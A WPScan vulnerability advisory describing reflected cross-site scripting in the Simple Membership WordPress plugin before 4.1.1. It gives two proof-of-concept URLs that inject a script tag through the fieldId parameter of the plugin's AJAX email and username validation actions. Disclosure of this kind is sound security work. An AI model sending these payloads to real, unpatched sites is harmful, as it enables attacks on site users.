WordPress Plugin Vulnerabilities
Simple Membership < 4.1.1 - Reflected Cross-Site Scripting
Description
The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(%22XSS%22);%3C/script%3E https://example.com/wp-admin/admin-ajax.php?action=swpm_validate_user_name&fieldId=%22%3Cscript%3Ealert(%22XSS%22);%3C/script%3E
Affects Plugins
Fixed in 4.1.1 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-18 (about 1 years ago)
WPScan 